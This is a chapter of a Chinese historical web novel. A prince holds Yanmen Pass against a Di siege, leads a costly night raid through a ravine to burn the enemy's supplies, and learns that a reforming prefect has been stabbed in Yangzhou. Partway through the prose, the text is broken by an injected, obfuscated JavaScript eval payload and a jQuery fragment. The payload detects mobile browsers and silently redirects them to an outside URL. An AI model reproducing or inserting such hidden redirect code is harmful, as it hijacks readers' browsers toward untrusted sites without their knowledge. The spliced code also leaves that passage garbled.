永昌十七年腊月二十二，狄人总攻。
天未亮时，号角声便撕裂了寒冷的空气。黑压压的骑兵从雪原尽头涌来，马蹄践踏积雪，发出闷雷般的轰鸣。雁门关城墙上，守军挽弓搭箭，滚木礌石已就位，空气里弥漫着油脂和硫磺的味道。
赵元瑾立在北门城楼，银甲覆霜，望着如潮水般涌来的敌军。他身旁，守将张懋功握刀的手背青筋暴起：“殿下，来了。”
第一波是试探。五千轻骑呼啸而至，在关前一箭之地勒马，张弓抛射。箭雨如蝗，叮叮当当钉在城垛上，偶有惨叫声响起——是躲避不及的守军中箭。
“不许还击！”张懋功大吼，“等他们近了！”
这是守城的规矩。距离太远，弓箭杀伤有限，只会浪费箭矢。狄人显然也懂，箭雨过后，骑兵开始冲锋。马蹄翻起积雪，长刀在晨光中泛着寒光。
“三百步...两百步...一百步...放！”
张懋功一声令下，城墙上千箭齐发！冲在最前的狄骑人仰马翻，但后面的毫不退缩，踩着同袍的尸体继续冲锋。云梯搭上城墙，钩索抛上城垛，蚁附攻城开始。
“滚木！”赵元瑾拔剑，亲自冲到垛口。
巨大的滚木裹着铁刺，沿着城墙斜面轰然砸落！云梯上的狄兵惨叫着跌落，砸倒一片。热油浇下，火把紧随其后，城墙下瞬间燃起熊熊大火，焦臭味混合着血腥气，令人作呕。
第一波攻击持续了半个时辰。狄人丢下数百具尸体，退到一箭之外重整旗鼓。城墙上，守军也伤亡了近百人，伤兵被抬下，民夫迅速补位。
“他们不会停。”张懋功抹了把脸上的血污，“下一波会更猛。”
话音未落，第二波攻击开始。这次是步兵方阵，盾牌在前，弓箭在后，稳步推进。更可怕的是，后方推出十几架投石机——显然是临时赶制的，粗糙但巨大。
“避石！”张懋功嘶吼。
巨石呼啸而来！一块砸在城楼一角，木石飞溅，三个守军当场被砸成肉泥。另一块越过城墙，砸进关内民居，惨叫声传来。
赵元瑾眼睛红了：“床弩呢？瞄准投石机！”
“床弩射程不够！”张懋功咬牙，“只能等他们靠近...”
“那就让他们靠近！”赵元瑾忽然转身，“沈偃！”
“在！”
“带三百敢死队，开城门，冲出去毁了那些投石机！”
张懋功大惊：“殿下不可！城门一开，狄人骑兵瞬间就能冲进来！”
“所以你们要快。”赵元瑾盯着沈偃，“我给你一刻钟。一刻钟后，无论成不成，必须撤回。城门只会开这一次。”
沈偃单膝跪地：“末将领命！”
他起身，点了三百精锐——都是东宫卫队的老兵，个个眼神坚毅。城门缓缓打开一条缝，三百人如离弦之箭冲出！
狄人显然没料到守军敢出城，愣了一瞬。就这一瞬，沈偃已带人冲过护城河，直扑投石机阵！
“拦住他们！”狄人将领反应过来。
骑兵从两翼包抄，但沈偃根本不理会。三百人结成锥形阵，以沈偃为箭头，硬生生在敌阵中撕开一道口子！长刀砍断投石机的绳索，火把点燃木质结构，转眼间，三架投石机已燃起大火。
“撤！”沈偃大吼。
但退路已被截断。狄人骑兵合围，将三百人困在中央。
城墙上，赵元瑾握剑的手青筋暴起：“弓箭手！压住两翼！张将军，再开城门，接应他们！”
“殿下，太冒险了...”
“开！”
城门再次打开，一队骑兵冲出接应。但狄人已有准备，箭雨覆盖，接应队伍瞬间倒下大半。
就在此时，关内忽然响起震天的战鼓！
不是守军的鼓，是...从南边传来的？
赵元瑾回头，只见关内街道上，一支队伍正快速奔来。不是官兵，穿着五花八门，有棉袄有皮褂，但个个手持兵器，步伐整齐。为首的是个疤脸汉子——赵元瑾认得，是漕帮的人。
“漕帮子弟，前来助战！”疤脸汉子在城下大喊，“殿下！杜帮主让我们来的！”
三百漕帮好手，加上沿途召集的江湖人士、民间义勇，总共五百余人。他们不待命令，已冲向城门，与狄人骑兵战在一处！
生力军的加入，瞬间扭转局势。沈偃趁机带人突围，退回关内。城门轰然关闭时，城外已留下数十具尸体——有狄人的，也有敢死队和义勇的。
“末将...幸不辱命。”沈偃浑身是血，肩上插着一支箭，却咧嘴笑了，“毁了五架投石机。”
赵元瑾扶住他：“快，军医！”
“殿下，”漕帮的疤脸汉子上了城楼，单膝跪地，“小的李铁头，奉杜帮主之命，带河北、山西两地漕帮弟兄，特来助殿下守关。后续还有八百弟兄，三日内必到！”
赵元瑾看着这个曾在保定官道“劫道”的汉子，此刻他眼中没有狡黠，只有决绝。
“杜帮主...如何知道雁门危急？”
“运河上消息传得快。”李铁头道，“帮主说，殿下守的不只是雁门，是大周的国门。国门若破，江南再富也是枉然。所以漕帮上下，任凭殿下差遣！”
很朴素，却让人眼眶发热的理由。
赵元瑾重重点头：“好！李头领，你带弟兄们先休整，今夜...还有恶战。”
“是！”
---
入夜，狄人暂停进攻，但营火通明，显然在准备下一轮攻势。
关城上，守军轮换休息。赵元瑾裹着大氅，在城楼里看地图。张懋功走进来，神色凝重：“殿下，箭矢只剩三成了。滚木礌石还能撑两天，但火油...已经见底。”
“朝廷的补给呢？”
“信使回报，第一批粮草被大雪封在山里，至少还要五天才能到。”
五天。
雁门现在，连三天都难撑。
赵元瑾沉默良久，忽然问：“张将军，如果你是狄人主帅，接下来会怎么打？”
张懋功想了想：“强攻伤亡太大，他们可能会...夜袭。或者，分兵绕道。”
“绕道？”赵元瑾目光一凝。
“雁门西侧三十里，有一条古道，叫‘鬼见愁’。极其险峻，平时无人行走，但若有熟悉地形的向导，小股精锐可以翻过去，绕到关后。”张懋功指着地图，“若狄人派一支奇兵从后面夹击，我们腹背受敌，必破。”
赵元瑾盯着那条细细的线：“这条路，我们能不能走？”
张懋功一愣：“殿下是想...”
“他们能绕，我们也能。”赵元瑾手指点在狄人大营后方，“今夜，我带一支精锐，从鬼见愁绕出去，突袭敌营。不求全胜，只要烧了他们的粮草，制造混乱，就能拖延时间。”
“太冒险了！”张懋功急道，“鬼见愁这季节根本不能走人！而且殿下万金之躯...”
“正因为不能走，敌人才想不到。”赵元瑾起身，“张将军，守城交给你。沈偃伤重，不能去。李铁头...”
“末将愿往！”李铁头不知何时站在门口，眼中闪着光，“漕帮弟兄常年在山间水道行走，攀山越岭是看家本领。鬼见愁...我们能走。”
赵元瑾看着他：“多少人能去？”
“挑一百好手，足够。”
“好。”赵元瑾解下大氅，“一个时辰后出发。”
“殿下！”张懋功还想劝。
“张将军，”赵元瑾打断他，“孤知道风险。但守城是等死，出击是求生。若孤回不来...你就是雁门主将，务必死守到最后一兵一卒。”
张懋功虎目含泪，单膝跪地：“末将...遵命！”
---
子时，风雪又起。
赵元瑾换上一身黑色劲装，外罩白裘——在雪地中便于隐蔽。李铁头挑了一百漕帮精锐，个个身手矫健，背负短刀、绳索、火油罐。一行人从西门悄然出关，没入茫茫雪夜。
鬼见愁果然名不虚传。那是两座悬崖间的裂隙，最窄处仅容一人侧身通过，脚下是万丈深渊。积雪掩盖了路径，稍有不慎就会滑落。寒风从裂隙中呼啸而过，像鬼哭。
“用绳索！”李铁头低喝。
漕帮弟兄取出特制的钩索，抛上岩壁，如猿猴般攀爬。赵元瑾自幼习武，身手不弱，但这样的绝壁也是第一次走。他咬紧牙关，跟着队伍，一寸寸向前挪。
两个时辰，只走了五里路。
前方忽然传来闷响——是雪崩！大块积雪从山顶滑落，直扑裂隙！
“贴紧岩壁！”李铁头嘶吼。
赵元瑾死死抓住凸出的岩石，雪块擦身而过，砸向深渊。一个漕帮弟兄躲避不及，惨叫一声，消失在白茫茫中。
“王老四！”旁边的人想拉，已来不及。
“继续走！”李铁头眼睛红了，“不能停！”
又走了一个时辰，终于出了鬼见愁。眼前是开阔的雪原，远处，狄人大营的火光隐约可见。
赵元瑾清点人数：还剩八十七人。
“分成三队。”他低声道，“一队随我去粮草营，一队去马厩，一队制造混乱。得手后，在鬼见愁口集合，原路返回。”
“是！”
众人匍匐前进，借着夜色和风雪掩护，悄无声息靠近敌营。
狄人显然没料到会有奇袭，营外警戒松懈。赵元瑾带人摸到粮草营外围，两个哨兵正在打盹。李铁头做个手势，两个漕帮弟兄摸上去，捂住嘴，匕首一抹，干净利落。
“烧！”
火油罐砸向粮垛，火把扔出。干燥的草料瞬间燃起冲天大火！几乎同时，马厩方向也传来火光和战马的嘶鸣！
“敌袭！敌袭！”狄人终于反应过来。
但已经晚了。粮草营陷入火海，马厩炸营，战马受惊四处狂奔，踩踏无数营帐。整个大营乱成一团。
赵元瑾正要撤退，忽然听见一声大吼：
“在那里！”
一队狄人骑兵发现他们，纵马冲来！箭矢破空，两个漕帮弟兄中箭倒地。
“殿下快走！”李铁头拔刀迎上，“弟兄们，护着殿下！”
“一起走！”赵元瑾挥剑格开一支箭。
但狄人越来越多。火光中，赵元瑾看见一个狄人将领——正是白日在城下指挥的那个。那将领也看见了他，眼中闪过狞笑，张弓搭箭，直指赵元瑾！
“殿下小心！”李铁头扑过来，用身体挡住！
箭矢贯穿他的胸膛，鲜血喷溅在雪地上，红得刺眼。
“铁头！”赵元瑾抱住他。
李铁头咧嘴一笑，满口是血：“殿下...漕帮...没给您丢人...”
他头一歪，气绝。
“走！”剩下的漕帮弟兄拽起赵元瑾，拼命往鬼见愁方向退。
身后追兵紧追不舍。快到裂隙时，赵元瑾回头看了一眼：大营火光冲天，混乱至少会持续到天亮。这一把火，为雁门争取了宝贵的时间。
但代价是...李铁头和三十多个漕帮弟兄，永远留在了这片雪原。
“进裂隙！”他咬牙道。
众人刚钻进鬼见愁，追兵已到。但狭窄的裂隙无法骑马，狄人下马追击，却因不熟悉地形，速度大减。
赵元瑾带着残存的五十余人，在黑暗中狂奔。身后箭矢不时射来，又有几人倒下。
快出裂隙时，前方忽然出现火光！
是狄人？还是...
“殿下！”熟悉的喊声传来。
是沈偃！他带着一队守军，举着火把等在出口！
“快！”
赵元瑾冲出裂隙，沈偃立刻下令：“放箭！掩护殿下回城！”
箭雨压制住追兵，众人终于退回关内。城门关闭时，赵元瑾回头，最后看了一眼鬼见愁的方向。
那里埋葬着三十多条性命。
都是大周的好儿郎。
---
回到城楼，天已蒙蒙亮。
赵元瑾脱下染血的外袍，肩上一道箭伤深可见骨，军医正在处理。沈偃跪在一旁：“末将违令出城，请殿下责罚。”
“你做得对。”赵元瑾闭着眼，“没有你接应，我们回不来。”
“可是李头领他们...”
“他们是英雄。”赵元瑾睁开眼，“传令：所有战死者，厚恤其家。李铁头...追封昭武校尉，立碑雁门，永享香火。”
“是。”
军医包扎好伤口，退下。赵元瑾走到窗前，望着北方。
狄人大营的火光已渐渐熄灭，但浓烟依旧滚滚。这一把火，烧了敌军至少三成粮草，拖延了他们至少两天的攻势。
两天，等朝廷补给，或许够了。
“殿下，”张懋功走进来，神色却更加凝重，“刚收到的消息...江南出事了。”
赵元瑾心头一紧：“说。”
“周知府...遇刺了。”
---
时间倒回三天前，扬州。
清丈田亩推行到江都县陆家庄时，遇到了最激烈的抵抗。陆家是扬州第一大地主，家主陆文渊曾官至户部侍郎，致仕后回乡，在地方上势力极大。当丈田的官吏带着漕帮弟兄上门时，陆家紧闭大门，家丁持械对峙。
周禹亲自去了。
他病未痊愈，咳着血，却坚持坐在轿中，到了陆家庄外。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17287982|198454||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陆文渊拄着拐杖出来，冷笑道：“周知府好大的官威。只是老夫记得，您还是戴罪之身吧？太子殿下给了你权，你就真当自己是个人物了？”
“陆老，”周禹下轿，身形摇晃，却站得笔直，“清丈田亩，是朝廷旨意。陆家庄田亩数目，与赋税册上相差六万亩。这六万亩，陆家若不补缴历年赋税，依律当...”
“当如何？”陆文渊打断他，“抄家？灭族？周禹，你以为你背后有个太子，就能动我陆家？我女儿嫁的是禁军副统领，我女婿的叔父是内阁大学士！你动我试试？”
很嚣张，也很现实。
周禹沉默片刻，忽然笑了：“陆老说得对，下官官卑职小，动不了陆家。但下官今日来，不是来动陆家的，是来...讲道理的。”
他示意手下抬过来一个箱子，打开，里面是厚厚的账册。
“这是陆家庄三十七户佃农的欠条。”周禹拿起最上面一张，“王二狗，永昌十三年欠陆家租粮五石，利滚利，如今欠二十石。他去年累死在地里，妻子改嫁，八岁的女儿卖给人牙子，得了三两银子，还了利息，本金还欠十八石。”
他又拿起一张：“李寡妇，丈夫病逝，欠租三石，陆家要她十五岁的女儿抵债，女孩上吊死了，李寡妇疯了，如今在街上乞讨。”
一张，两张，十张...周禹的声音很平静，却字字诛心。
陆文渊脸色越来越难看：“周禹！你...”
“陆老别急。”周禹合上箱子，“下官不是来翻旧账的。下官只是想说：陆家庄这六万亩隐田，若按实缴税，每年不过六千两银子。而陆家这些年放贷收租，逼死的人命，又何止六千两？”
他走到陆文渊面前，两人只隔三步：“陆老，朝廷要改革，江南要变天。您若肯配合，补缴赋税，释放欠债的佃农，下官可奏请太子，既往不咎。您还是扬州士绅领袖，陆家还是陆家。但若执意对抗...”
他顿了顿：“下官是戴罪之身，一条贱命，不值钱。但太子殿下给的这把尚方宝剑，斩几个豪绅，还是够的。”
他从袖中抽出一柄短剑——正是赵元瑾离京前赐他的，剑身刻着“如朕亲临”。
陆文渊看着那柄剑，手开始发抖。
他当然认得，这是御赐之物。周禹敢拿出来，说明太子给了他生杀之权。
“你...你想怎样？”
“很简单。”周禹收起剑，“一，陆家庄隐田全部登记造册，补缴三年赋税。二，所有佃农欠债，一笔勾销。三，陆家出银五千两，在江都县设义仓，赈济贫民。”
三个条件，每一个都割肉。
但比起抄家灭族，已是仁慈。
陆文渊挣扎良久，最终长叹一声：“...老夫，遵命。”
一场可能流血的冲突，就这样化解了。
消息传开，扬州其他豪绅纷纷效仿。清丈田亩的阻力大减，短短三日，扬州府便完成了三县的丈田工作，追缴赋税银二十万两。
周禹很欣慰。他连夜写奏折，向赵元瑾报喜。写完已是三更，他咳得厉害，喝过药，正准备歇息，窗外忽然传来异响。
“谁？”
没有回答。
周禹警觉地摸向枕下的匕首，但已经晚了。一道黑影破窗而入，寒光闪过！
剧痛从胸口传来。周禹低头，看见一截剑尖从胸前透出。
黑衣人抽剑，他瘫倒在地，血迅速染红官袍。
“为...什么...”他艰难地问。
黑衣人蹲下身，声音嘶哑：“周知府，你挡了太多人的路。安心去吧，太子那边...会有人替你尽忠的。”
剑光再闪，割向咽喉。
周禹用尽最后力气，将手中奏折扔向烛台！烛火倾倒，点燃帐幔，火光瞬间腾起！
“走水了！”外面传来惊呼。
黑衣人一惊，转身欲逃，但门口已被闻声赶来的侍卫堵住。一番搏斗，黑衣人被擒，但咬破口中毒囊，当场毙命。
而周禹，倒在血泊中，手里还攥着那本刚写完的奏折。
奏折最后一页，墨迹被血染红，但依然能看清：
“臣周禹谨奏：扬州三县清丈已成，追缴赋税二十万两，已悉数押解入京。改革初成，民心渐稳。然臣自知病体难支，恐难见江南清明之日。惟愿殿下北境凯旋，江南昌盛，则臣虽死...无憾。”
---
雁门关城楼，赵元瑾握着那封沾血的奏折，手在颤抖。
沈偃跪在一旁，不敢抬头。
“周知府...怎么样了？”
“重伤，但还活着。大夫说，那一剑偏了半分，未中心脉。只是他本就病重，这次...”沈偃声音哽咽，“怕是...撑不了多久。”
赵元瑾闭上眼睛。
他想起那个在牢房里划算式的瘦弱知府，想起那个在公审堂上据理力争的耿直官员，想起那个在马背上说“江南有臣”的病人。
那样一个人，为什么要杀他？
“刺客是谁派的？”他问，声音冰冷。
“刺客身上没有任何标记，但周知府的侍卫说，听口音...像是京城人。”
京城。
赵元瑾睁开眼，眼中寒光凛冽。
“传信给杜蘅和徐清晏：江南改革，不能停。周禹的职，由...由徐清晏暂代。”
沈偃一愣：“徐姑娘？她毕竟是...”
“她是徐阶的女儿，也是唯一能镇住江南官场的人。”赵元瑾打断他，“告诉她，孤信她。让她放手去做，所有后果，孤担着。”
“是。”
“还有，”赵元瑾走到地图前，手指点在帝京的位置，“给父皇上密折：江南有人狗急跳墙，欲杀朝廷命官，阻挠改革。请父皇...彻查。”
“是！”
沈偃退下后，赵元瑾独自站在城楼窗前。
北方的雪原上，狄人正在重新集结。江南的血案，还在继续。这大周，内外交困，步步杀机。
但他不能倒。
为了战死在鬼见愁的李铁头，为了躺在扬州病榻上的周禹，为了那些相信他、追随他的百姓和将士。
他提起笔，在周禹的奏折末尾，添了一行朱批：
“卿不负江南，孤必不负卿。待北境平定，江南重逢，把酒言欢。”
墨迹未干，窗外传来号角。
狄人，又进攻了。
赵元瑾放下笔，披甲，提剑，走出城楼。
风雪扑面，寒意刺骨。
但这一次，他的脚步格外坚定。
因为有些路，一旦踏上，就不能回头。
只能向前。
一直向前。